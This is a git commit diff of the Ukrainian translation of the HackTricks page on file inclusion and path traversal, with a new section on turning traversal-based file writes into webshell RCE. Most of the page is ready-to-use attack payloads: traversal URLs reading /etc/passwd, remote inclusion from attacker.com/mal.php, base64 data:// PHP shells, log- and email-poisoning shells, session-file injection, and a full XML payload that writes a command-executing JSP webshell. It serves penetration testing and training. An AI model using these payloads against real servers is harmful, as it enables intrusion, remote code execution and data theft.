mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/file-inclusion/README.md', 'src/pentesti
This commit is contained in:
parent
84c78c22cb
commit
8cf738369e
@ -1,11 +1,11 @@
|
||||
# Включення файлів/Перехід по шляхах
|
||||
# File Inclusion/Path traversal
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Включення файлів
|
||||
## File Inclusion
|
||||
|
||||
**Віддалене включення файлів (RFI):** Файл завантажується з віддаленого сервера (Найкраще: Ви можете написати код, і сервер його виконає). У php це **вимкнено** за замовчуванням (**allow_url_include**).\
|
||||
**Локальне включення файлів (LFI):** Сервер завантажує локальний файл.
|
||||
**Remote File Inclusion (RFI):** Файл завантажується з віддаленого сервера (Найкраще: Ви можете написати код, і сервер його виконає). У php це **вимкнено** за замовчуванням (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** Сервер завантажує локальний файл.
|
||||
|
||||
Вразливість виникає, коли користувач може якимось чином контролювати файл, який буде завантажено сервером.
|
||||
|
||||
@ -13,7 +13,7 @@
|
||||
|
||||
Цікаві інструменти для експлуатації цієї вразливості: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Сліпий - Цікаві - LFI2RCE файли
|
||||
## Blind - Interesting - LFI2RCE files
|
||||
```python
|
||||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||||
```
|
||||
@ -53,7 +53,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### послідовності обходу, видалені нерекурсивно
|
||||
### послідовності обходу, які були видалені некурсивно
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -69,7 +69,7 @@ http://example.com/index.php?page=../../../etc/passwd%00
|
||||
|
||||
### **Кодування**
|
||||
|
||||
Ви можете використовувати нестандартні кодування, такі як подвоєне кодування URL (та інші):
|
||||
Ви можете використовувати нестандартні кодування, такі як подвоєне URL-кодування (та інші):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
@ -96,16 +96,16 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
|
||||
```
|
||||
3. **Інтерпретація результатів:** Відповідь сервера вказує, чи існує папка:
|
||||
- **Помилка / Немає виходу:** Папка `private`, ймовірно, не існує за вказаним місцем.
|
||||
- **Вміст `/etc/passwd`:** Наявність папки `private` підтверджена.
|
||||
- **Вміст `/etc/passwd`:** Присутність папки `private` підтверджена.
|
||||
4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні методи Local File Inclusion (LFI).
|
||||
|
||||
Для дослідження каталогів у різних місцях файлової системи, відповідно налаштуйте payload. Наприклад, щоб перевірити, чи містить `/var/www/` каталог `private` (припускаючи, що поточний каталог на глибині 3), використовуйте:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Техніка обмеження шляху**
|
||||
### **Техніка скорочення шляху**
|
||||
|
||||
Обмеження шляху - це метод, що використовується для маніпуляції шляхами файлів у веб-додатках. Його часто використовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи в кінець шляхів файлів. Мета полягає в тому, щоб створити шлях до файлу, який, після зміни заходом безпеки, все ще вказує на потрібний файл.
|
||||
Скорочення шляху - це метод, що використовується для маніпуляції шляхами файлів у веб-додатках. Його часто використовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи в кінець шляхів файлів. Мета полягає в тому, щоб створити шлях до файлу, який, після зміни заходом безпеки, все ще вказує на потрібний файл.
|
||||
|
||||
У PHP різні представлення шляху до файлу можуть вважатися еквівалентними через природу файлової системи. Наприклад:
|
||||
|
||||
@ -113,7 +113,7 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
- Коли останні 6 символів - це `passwd`, додавання `/` (перетворюючи його на `passwd/`) не змінює цільовий файл.
|
||||
- Аналогічно, якщо до шляху файлу додається `.php` (як `shellcode.php`), додавання `/.` в кінці не змінить файл, до якого здійснюється доступ.
|
||||
|
||||
Наведенні приклади демонструють, як використовувати обмеження шляху для доступу до `/etc/passwd`, поширеної цілі через її чутливий вміст (інформація про облікові записи користувачів):
|
||||
Наведенні приклади демонструють, як використовувати скорочення шляху для доступу до `/etc/passwd`, поширеної цілі через її чутливий вміст (інформація про облікові записи користувачів):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -123,7 +123,7 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
У цих сценаріях кількість необхідних переходів може становити близько 2027, але це число може змінюватися в залежності від конфігурації сервера.
|
||||
У цих сценаріях кількість необхідних переходів може становити близько 2027, але це число може варіюватися в залежності від конфігурації сервера.
|
||||
|
||||
- **Використання крапкових сегментів та додаткових символів**: Послідовності переходів (`../`), поєднані з додатковими крапковими сегментами та символами, можуть бути використані для навігації по файловій системі, ефективно ігноруючи додані рядки сервером.
|
||||
- **Визначення необхідної кількості переходів**: Через проби та помилки можна знайти точну кількість послідовностей `../`, необхідних для навігації до кореневої директорії, а потім до `/etc/passwd`, забезпечуючи нейтралізацію будь-яких доданих рядків (як-от `.php`), але залишаючи бажаний шлях (`/etc/passwd`) незмінним.
|
||||
@ -131,7 +131,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||
|
||||
При використанні технік скорочення шляхів важливо розуміти поведінку парсингу шляхів сервера та структуру файлової системи. Кожен сценарій може вимагати різного підходу, і часто необхідно тестування, щоб знайти найбільш ефективний метод.
|
||||
|
||||
**Цю вразливість виправлено в PHP 5.3.**
|
||||
**Цю вразливість було виправлено в PHP 5.3.**
|
||||
|
||||
### **Трюки обходу фільтрів**
|
||||
```
|
||||
@ -148,12 +148,12 @@ http://example.com/index.php?page=PhP://filter
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Якщо з якоїсь причини **`allow_url_include`** увімкнено, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [згідно з цим постом](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете використовувати, наприклад, протокол даних з base64 для декодування коду PHP у b64 та отримання RCE:
|
||||
Якщо з якоїсь причини **`allow_url_include`** увімкнено, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [згідно з цим постом](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете використовувати, наприклад, протокол даних з base64 для декодування коду PHP у форматі b64 і отримання RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!NOTE]
|
||||
> У попередньому коді фінальний `+.txt` був доданий, оскільки зловмиснику потрібен рядок, який закінчується на `.txt`, тому рядок закінчується на ньому, а після декодування b64 ця частина поверне просто сміття, і справжній PHP код буде включено (і, отже, виконано).
|
||||
> [!TIP]
|
||||
> У попередньому коді фінальний `+.txt` був доданий, оскільки зловмиснику потрібен рядок, який закінчується на `.txt`, тому рядок закінчується на ньому, і після декодування b64 ця частина поверне просто сміття, а реальний PHP код буде включено (і, отже, виконано).
|
||||
|
||||
Інший приклад **без використання протоколу `php://`** буде:
|
||||
```
|
||||
@ -161,7 +161,7 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
|
||||
```
|
||||
## Python Root element
|
||||
|
||||
В Python в коді, як у цьому:
|
||||
В Python в коді, подібному до цього:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
@ -181,7 +181,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
|
||||
## Топ 25 параметрів
|
||||
|
||||
Ось список з 25 найкращих параметрів, які можуть бути вразливими до вразливостей локального включення файлів (LFI) (з [посилання](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Ось список з 25 найпоширеніших параметрів, які можуть бути вразливими до вразливостей локального включення файлів (LFI) (з [посилання](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -213,13 +213,13 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
|
||||
### php://filter
|
||||
|
||||
PHP фільтри дозволяють виконувати базові **операції модифікації даних** перед їх читанням або записом. Є 5 категорій фільтрів:
|
||||
PHP фільтри дозволяють виконувати базові **операції модифікації даних** перед їх читанням або записом. Існує 5 категорій фільтрів:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: Видаляє теги з даних (все між символами "<" та ">")
|
||||
- `string.strip_tags`: Видалити теги з даних (все між символами "<" та ">")
|
||||
- Зверніть увагу, що цей фільтр зник з сучасних версій PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
@ -229,11 +229,11 @@ PHP фільтри дозволяють виконувати базові **оп
|
||||
- `convert.iconv.*` : Перетворює в іншу кодування (`convert.iconv.<input_enc>.<output_enc>`). Щоб отримати **список всіх підтримуваних кодувань**, запустіть у консолі: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Зловживаючи фільтром перетворення `convert.iconv.*`, ви можете **генерувати довільний текст**, що може бути корисно для запису довільного тексту або створення функції, яка включає процес довільного тексту. Для отримання додаткової інформації перегляньте [**LFI2RCE через php фільтри**](lfi2rce-via-php-filters.md).
|
||||
> Зловживаючи фільтром перетворення `convert.iconv.*`, ви можете **генерувати довільний текст**, що може бути корисним для запису довільного тексту або створення функції, яка включає процес довільного тексту. Для отримання додаткової інформації перегляньте [**LFI2RCE через php фільтри**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Стискає вміст (корисно, якщо потрібно ексфільтрувати багато інформації)
|
||||
- `zlib.inflate`: Розпаковує дані
|
||||
- `zlib.deflate`: Стиснути вміст (корисно, якщо потрібно ексфільтрувати багато інформації)
|
||||
- `zlib.inflate`: Розпакувати дані
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Застарілий
|
||||
- `mdecrypt.*` : Застарілий
|
||||
@ -269,11 +269,11 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> Частина "php://filter" нечутлива до регістру
|
||||
> Частина "php://filter" не чутлива до регістру
|
||||
|
||||
### Використання фільтрів php як оракула для читання довільних файлів
|
||||
|
||||
[**У цьому пості**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) пропонується техніка для читання локального файлу без повернення виходу з сервера. Ця техніка базується на **булевій ексфільтрації файлу (символ за символом) з використанням фільтрів php** як оракула. Це пов'язано з тим, що фільтри php можуть бути використані для збільшення тексту настільки, щоб php викликав виключення.
|
||||
[**У цьому пості**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) пропонується техніка для читання локального файлу без отримання виходу від сервера. Ця техніка базується на **логічній ексфільтрації файлу (символ за символом) з використанням фільтрів php** як оракула. Це пов'язано з тим, що фільтри php можуть бути використані для збільшення тексту настільки, щоб php викликав виключення.
|
||||
|
||||
У оригінальному пості ви можете знайти детальне пояснення техніки, але ось швидкий підсумок:
|
||||
|
||||
@ -281,24 +281,24 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
- Це буде використано для генерації **тексту настільки великого, коли початкова літера вгадана правильно**, що php викличе **помилку**.
|
||||
- Фільтр **dechunk** **видалить все, якщо перший символ не є шістнадцятковим**, тому ми можемо дізнатися, чи є перший символ шістнадцятковим.
|
||||
- Це, в поєднанні з попереднім (і іншими фільтрами в залежності від вгаданої літери), дозволить нам вгадати літеру на початку тексту, спостерігаючи, коли ми робимо достатньо перетворень, щоб вона більше не була шістнадцятковим символом. Тому що, якщо шістнадцятковий, dechunk не видалить його, а початкова бомба викличе помилку php.
|
||||
- Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (тому після цього кодека: a -> b). Це дозволяє нам дізнатися, чи є перша літера `a`, наприклад, тому що якщо ми застосуємо 6 з цього кодека a->b->c->d->e->f->g, літера більше не є шістнадцятковим символом, отже, dechunk не видалить її, і помилка php буде викликана, оскільки вона множиться з початковою бомбою.
|
||||
- Використовуючи інші перетворення, такі як **rot13** на початку, можливо витягнути інші символи, такі як n, o, p, q, r (і інші кодеки можуть бути використані для переміщення інших літер у шістнадцятковий діапазон).
|
||||
- Коли початковий символ є числом, потрібно закодувати його в base64 і витягнути 2 перші літери, щоб витягнути число.
|
||||
- Остаточна проблема полягає в тому, **як витягти більше, ніж початкову літеру**. Використовуючи фільтри порядку пам'яті, такі як **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можливо змінити порядок символів і отримати на першій позиції інші літери тексту.
|
||||
- І для того, щоб отримати **додаткові дані**, ідея полягає в тому, щоб **згенерувати 2 байти сміттєвих даних на початку** з **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE**, щоб зробити його **поворотом з наступними 2 байтами**, і **видалити дані до сміттєвих даних** (це видалить перші 2 байти початкового тексту). Продовжуйте це робити, поки не досягнете бажаного біта для витоку.
|
||||
- Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (так що після цього кодека: a -> b). Це дозволяє нам дізнатися, чи є перша літера `a`, наприклад, тому що якщо ми застосуємо 6 з цього кодека a->b->c->d->e->f->g, літера більше не є шістнадцятковим символом, отже, dechunk не видалив її, і помилка php викликана, оскільки вона множиться з початковою бомбою.
|
||||
- Використовуючи інші перетворення, такі як **rot13** на початку, можливо витікати інші символи, такі як n, o, p, q, r (і можуть бути використані інші кодеки для переміщення інших літер у шістнадцятковий діапазон).
|
||||
- Коли початковий символ є числом, потрібно закодувати його в base64 і витікати 2 перші літери, щоб витікати число.
|
||||
- Остаточна проблема полягає в тому, **як витікати більше, ніж початкова літера**. Використовуючи фільтри порядку пам'яті, такі як **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можливо змінити порядок символів і отримати на першій позиції інші літери тексту.
|
||||
- І для того, щоб мати можливість отримати **додаткові дані**, ідея полягає в тому, щоб **згенерувати 2 байти сміттєвих даних на початку** з **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE**, щоб зробити його **поворотом з наступними 2 байтами**, і **видалити дані до сміттєвих даних** (це видалить перші 2 байти початкового тексту). Продовжуйте це робити, поки не досягнете бажаного біта для витоку.
|
||||
|
||||
У пості також була витікнута інструмент для автоматичного виконання цього: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
У пості також був витікнутий інструмент для автоматичного виконання цього: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Цей обгортка дозволяє отримати доступ до дескрипторів файлів, які процес має відкритими. Потенційно корисно для ексфільтрації вмісту відкритих файлів:
|
||||
Цей обгортка дозволяє отримувати доступ до дескрипторів файлів, які процес має відкритими. Потенційно корисно для ексфільтрації вмісту відкритих файлів:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
Ви також можете використовувати **php://stdin, php://stdout та php://stderr** для доступу до **файлових дескрипторів 0, 1 та 2** відповідно (не впевнений, як це може бути корисно в атаці)
|
||||
Ви також можете використовувати **php://stdin, php://stdout і php://stderr** для доступу до **дескрипторів файлів 0, 1 і 2** відповідно (не впевнений, як це може бути корисно в атаці)
|
||||
|
||||
### zip:// та rar://
|
||||
### zip:// і rar://
|
||||
|
||||
Завантажте файл Zip або Rar з PHPShell всередині та отримайте до нього доступ.\
|
||||
Щоб мати можливість зловживати протоколом rar, його **необхідно спеціально активувати**.
|
||||
@ -358,7 +358,7 @@ php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
При виконанні буде створено файл з назвою `test.phar`, який потенційно може бути використаний для експлуатації вразливостей Local File Inclusion (LFI).
|
||||
|
||||
У випадках, коли LFI лише виконує читання файлів без виконання PHP-коду всередині, через функції такі як `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, або `filesize()`, можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов'язана з читанням файлів за допомогою протоколу `phar`.
|
||||
У випадках, коли LFI лише виконує читання файлів без виконання PHP-коду всередині, через функції, такі як `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, або `filesize()`, можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов'язана з читанням файлів за допомогою протоколу `phar`.
|
||||
|
||||
Для детального розуміння експлуатації вразливостей десеріалізації в контексті файлів `.phar`, зверніться до документа, що наведений нижче:
|
||||
|
||||
@ -371,14 +371,14 @@ phar-deserialization.md
|
||||
### CVE-2024-2961
|
||||
|
||||
Було можливим зловживати **будь-яким довільним читанням файлів з PHP, що підтримує php фільтри**, щоб отримати RCE. Детальний опис можна [**знайти в цьому пості**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Дуже короткий підсумок: **3-байтовий переповнення** в купі PHP було використано для **зміни ланцюга вільних частин** специфічного розміру, щоб мати можливість **записувати що завгодно за будь-якою адресою**, тому був доданий хук для виклику **`system`**.\
|
||||
Було можливим виділяти частини специфічних розмірів, зловживаючи більше php фільтрами.
|
||||
Дуже короткий підсумок: **3-байтовий переповнення** в купі PHP було використано для **зміни ланцюга вільних шматків** специфічного розміру, щоб мати можливість **записувати що завгодно в будь-яку адресу**, тому був доданий хук для виклику **`system`**.\
|
||||
Було можливим виділяти шматки специфічних розмірів, зловживаючи більше php фільтрами.
|
||||
|
||||
### Більше протоколів
|
||||
|
||||
Перевірте більше можливих [**протоколів для включення тут**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис у пам'ять або у тимчасовий файл (не впевнений, як це може бути корисно в атаці на включення файлів)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис в пам'ять або в тимчасовий файл (не впевнений, як це може бути корисно в атаці на включення файлів)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Доступ до локальної файлової системи
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Доступ до HTTP(s) URL
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Доступ до FTP(s) URL
|
||||
@ -408,7 +408,7 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Ця техніка актуальна в випадках, коли ви **контролюєте** **шлях до файлу** функції **PHP**, яка буде **доступатися до файлу**, але ви не побачите вміст файлу (як простий виклик **`file()`**), але вміст не відображається.
|
||||
> Ця техніка актуальна в випадках, коли ви **контролюєте** **шлях до файлу** функції **PHP**, яка **доступає до файлу**, але ви не побачите вміст файлу (як простий виклик **`file()`**), але вміст не відображається.
|
||||
|
||||
У [**цьому неймовірному пості**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) пояснюється, як сліпий перехід по шляху може бути зловжито через фільтр PHP для **екстракції вмісту файлу через помилковий оракул**.
|
||||
|
||||
@ -416,27 +416,73 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
|
||||
Потім, щоб витягти перший символ, фільтр **`dechunk`** використовується разом з іншими, такими як **base64** або **rot13**, а в кінці фільтри **convert.iconv.UCS-4.UCS-4LE** та **convert.iconv.UTF16.UTF-16BE** використовуються для **розміщення інших символів на початку та їх витоку**.
|
||||
|
||||
**Функції, які можуть бути вразливими**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (тільки для читання з цим)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Функції, які можуть бути вразливими**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (тільки цільове читання з цим)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Для технічних деталей перевірте згаданий пост!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### Remote File Inclusion
|
||||
### Довільне записування файлів через перехід по шляху (Webshell RCE)
|
||||
|
||||
Коли серверний код, що приймає/завантажує файли, формує шлях призначення, використовуючи дані, контрольовані користувачем (наприклад, ім'я файлу або URL), без канонізації та валідації, сегменти `..` та абсолютні шляхи можуть вийти за межі запланованого каталогу та викликати довільне записування файлу. Якщо ви можете розмістити payload у каталозі, що підлягає веб-доступу, ви зазвичай отримуєте неавтентифіковане RCE, скинувши webshell.
|
||||
|
||||
Типовий робочий процес експлуатації:
|
||||
- Визначте примітив запису в кінцевій точці або фоновому процесі, який приймає шлях/ім'я файлу та записує вміст на диск (наприклад, обробка повідомлень, обробники команд XML/JSON, розпаковувачі ZIP тощо).
|
||||
- Визначте каталоги, що підлягають веб-доступу. Загальні приклади:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → скиньте `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → скиньте `shell.aspx`
|
||||
- Сформуйте шлях переходу, який виходить за межі запланованого каталогу зберігання у веб-корінь, і включіть вміст вашого webshell.
|
||||
- Перейдіть до скинутого payload і виконайте команди.
|
||||
|
||||
Примітки:
|
||||
- Вразлива служба, яка виконує запис, може слухати на непорті HTTP (наприклад, JMF XML слухач на TCP 4004). Основний веб-портал (інший порт) пізніше обслуговуватиме ваш payload.
|
||||
- У Java стеку ці записи файлів часто реалізуються простим з'єднанням `File`/`Paths`. Відсутність канонізації/дозволеного списку є основним недоліком.
|
||||
|
||||
Загальний приклад XML/JMF-стилю (схеми продуктів варіюються – DOCTYPE/обгортка тіла не має значення для переходу):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<JMF SenderID="hacktricks" Version="1.3">
|
||||
<Command Type="SubmitQueueEntry">
|
||||
<!-- Write outside the intake folder into the webroot via traversal -->
|
||||
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
|
||||
<Data>
|
||||
<![CDATA[
|
||||
<%@ page import="java.io.*" %>
|
||||
<%
|
||||
String c = request.getParameter("cmd");
|
||||
if (c != null) {
|
||||
Process p = Runtime.getRuntime().exec(c);
|
||||
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
|
||||
in.transferTo(out);
|
||||
}
|
||||
}
|
||||
%>
|
||||
]]>
|
||||
</Data>
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
Зміцнення, яке долає цей клас помилок:
|
||||
- Вирішити до канонічного шляху та забезпечити, щоб він був нащадком дозволеного базового каталогу.
|
||||
- Відхилити будь-який шлях, що містить `..`, абсолютні корені або літери дисків; надавайте перевагу згенерованим іменам файлів.
|
||||
- Запустіть записувач як обліковий запис з низькими привілеями та розділіть каталоги запису від коренів, що обслуговуються.
|
||||
|
||||
## Віддалене включення файлів
|
||||
|
||||
Пояснено раніше, [**перейдіть за цим посиланням**](#remote-file-inclusion).
|
||||
|
||||
### Через файл журналу Apache/Nginx
|
||||
|
||||
Якщо сервер Apache або Nginx **вразливий до LFI**, всередині функції включення ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, встановивши в **user agent** або в **GET параметрі** php shell, як **`<?php system($_GET['c']); ?>`** і включити цей файл.
|
||||
Якщо сервер Apache або Nginx **вразливий до LFI** всередині функції включення, ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, встановивши в **user agent** або в **GET параметрі** php shell, наприклад, **`<?php system($_GET['c']); ?>`** і включити цей файл.
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що **якщо ви використовуєте подвійні лапки** для shell замість **одинарних лапок**, подвійні лапки будуть змінені на рядок "_**quote;**_", **PHP викине помилку** там і **нічого іншого не буде виконано**.
|
||||
> Зверніть увагу, що **якщо ви використовуєте подвійні лапки** для shell замість **одинарних лапок**, подвійні лапки будуть змінені на рядок "_**quote;**_", **PHP видасть помилку** там, і **нічого іншого не буде виконано**.
|
||||
>
|
||||
> Також переконайтеся, що ви **правильно написали payload**, інакше PHP буде помилятися щоразу, коли намагатиметься завантажити файл журналу, і у вас не буде другої можливості.
|
||||
|
||||
Це також можна зробити в інших журналах, але **будьте обережні**, код всередині журналів може бути URL-кодований, і це може знищити Shell. Заголовок **authorisation "basic"** містить "user:password" в Base64, і він декодується всередині журналів. PHPShell може бути вставлений всередині цього заголовка.\
|
||||
Інші можливі шляхи до журналів:
|
||||
Це також можна зробити в інших журналах, але **будьте обережні**, код всередині журналів може бути URL-кодованим, і це може знищити Shell. Заголовок **авторизації "basic"** містить "user:password" у Base64, і він декодується всередині журналів. PHPShell може бути вставлений у цей заголовок.\
|
||||
Інші можливі шляхи журналів:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache/access.log
|
||||
@ -452,7 +498,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
|
||||
### Via Email
|
||||
|
||||
**Надішліть листа** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте включити його в пошту користувача з шляхом, наприклад **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
|
||||
**Надішліть листа** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте включити до листа користувача шлях, наприклад **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Via /proc/\*/fd/\*
|
||||
|
||||
@ -468,7 +514,7 @@ User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
|
||||
Якщо ви можете завантажити файл, просто вставте в нього оболонку (наприклад: `<?php system($_GET['c']); ?>`).
|
||||
Якщо ви можете завантажити файл, просто вставте оболонку в нього (наприклад: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
@ -496,7 +542,7 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
Використовуйте LFI для включення файлу сесії PHP
|
||||
Використовуйте LFI для включення PHP файлу сесії
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
@ -521,7 +567,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
|
||||
Цей [**опис**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php фільтри для генерації довільного контенту** як виходу. Це в основному означає, що ви можете **генерувати довільний php код** для включення **без необхідності записувати** його у файл.
|
||||
Цей [**опис**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters для генерації довільного контенту** як виходу. Це в основному означає, що ви можете **генерувати довільний php код** для включення **без необхідності записувати** його у файл.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
@ -545,7 +591,7 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **немає сесії** і `session.auto_start` вимкнено. Якщо ви надасте **`PHP_SESSION_UPLOAD_PROGRESS`** у **multipart POST** даних, PHP **увімкне сесію для вас**. Ви можете зловживати цим, щоб отримати RCE:
|
||||
